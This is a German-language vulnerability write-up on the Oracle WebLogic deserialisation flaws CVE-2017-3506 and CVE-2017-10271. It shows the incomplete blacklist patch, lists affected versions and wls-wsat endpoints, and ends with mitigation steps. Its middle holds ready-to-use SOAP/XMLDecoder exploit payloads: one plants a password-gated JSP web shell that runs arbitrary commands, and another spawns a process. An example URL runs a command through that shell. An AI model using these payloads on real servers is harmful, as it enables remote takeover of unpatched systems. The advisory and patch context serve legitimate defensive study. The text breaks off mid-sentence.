
Originalautor: [email protected]
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Frühzeitig nutzten Hacker die Schwachstelle der WebLogic WLS-Komponente aus, um großflächige Remote-Angriffe auf Unternehmensserver durchzuführen. Viele Unternehmensserver wurden kompromittiert, und die Anzahl der betroffenen Unternehmen zeigte einen deutlichen Aufwärtstrend, was höchste Aufmerksamkeit erfordert. CVE-2017-3506 ist eine Schwachstelle zur Remote-Code-Ausführung (RCE) in der WLS-Komponente von Oracle WebLogic. Es handelt sich um eine Schwachstelle, die in freier Wildbahn ohne öffentliche Details ausgenutzt wird. Viele Unternehmen haben noch nicht rechtzeitig Patches installiert. Oracle veröffentlichte den Patch für diese Schwachstelle im April 2017.
CVE-2017-3506 Patch-Beschreibung:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Lediglich eine validate-Funktion wurde vor der Deserialisierung hinzugefügt. Wenn qName gleich "object" ist, wird eine Ausnahme ausgelöst und abgebrochen. Das ist einfach und brutal, aber eine solche Blacklist-Reparatur ist schwer vollständig zu beheben. Nachdenkenswert...
Die Ausnutzungsmethode dieser Schwachstelle ist relativ einfach. Angreifer müssen nur eine sorgfältig konstruierte HTTP-Anfrage senden, um Berechtigungen auf dem Zielserver zu erlangen – der Schaden ist enorm. Da die Schwachstelle relativ neu ist, haben viele Hosts noch nicht die entsprechenden Patches installiert. Nach diesem Vorfall ist zu erwarten, dass die Anzahl der Angriffe sprunghaft ansteigt und viele neue Hosts kompromittiert werden.
Der offizielle Oracle-Patch vom April für CVE-2017-3506 reparierte die Schwachstelle nicht vollständig; der Patch kann umgangen werden und die Remote-Befehlsausführung bleibt möglich. Die derzeit umgangene Schwachstelle CVE-2017-10271 wurde im offiziellen Patch vom Oktober repariert.
CVE-2017-10271 (Umgehung der Remote-Befehlsausführung bei wls-wsat)
Oracle WebLogic Server10.3.6.0.0 Version
Oracle WebLogic Server12.1.3.0.0 Version
Oracle WebLogic Server12.2.1.1.0 Version
Oracle WebLogic Server12.2.1.2.0 Version
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>


CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Zugriffskontrolle für Ressourcen, die auf wls-wsat zugreifen.
Temporäre Lösung
Ohne Beeinträchtigung des Geschäftsbetriebs löschen Sie je nach tatsächlichem Umgebungspfad die folgenden War-Pakete und Verzeichnisse aus dem WebLogic-Programm.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Starten Sie den WebLogic-Dienst oder das System neu und überprüfen Sie, ob der folgende Link den Status 404 zurückgibt: